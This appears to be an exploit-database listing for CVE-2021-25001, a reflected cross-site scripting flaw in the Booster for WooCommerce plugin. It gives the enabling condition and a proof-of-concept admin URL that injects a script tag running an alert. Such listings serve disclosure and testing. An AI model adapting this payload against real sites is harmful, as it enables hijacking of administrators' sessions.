Exploit for Booster for WooCommerce < 5.4.9 - Reflected Cross-Site Scripting in Product XML Feeds Module CVE-2021-25001

Name: Exploit for Booster for WooCommerce < 5.4.9 - Reflected Cross-Site Scripting in Product XML Feeds Module CVE-2021-25001
Rating: 5 (117 reviews)

2021-12-01 | CVSS 2.6

## https://sploitus.com/exploit?id=WPEX-ID:76F0257D-AAE7-4054-9B3D-BA10B4005CF1
The "Product XML Feeds" module needs to be enabled in "Woocommerce -> Booster Settings".

https://example.com/wp-admin/admin.php?page=wc-settings&tab=jetpack&wcj-cat=products&section=products_xml&wcj_create_products_xml_result=1<script>alert(%2FXSS%2F)<%2Fscript>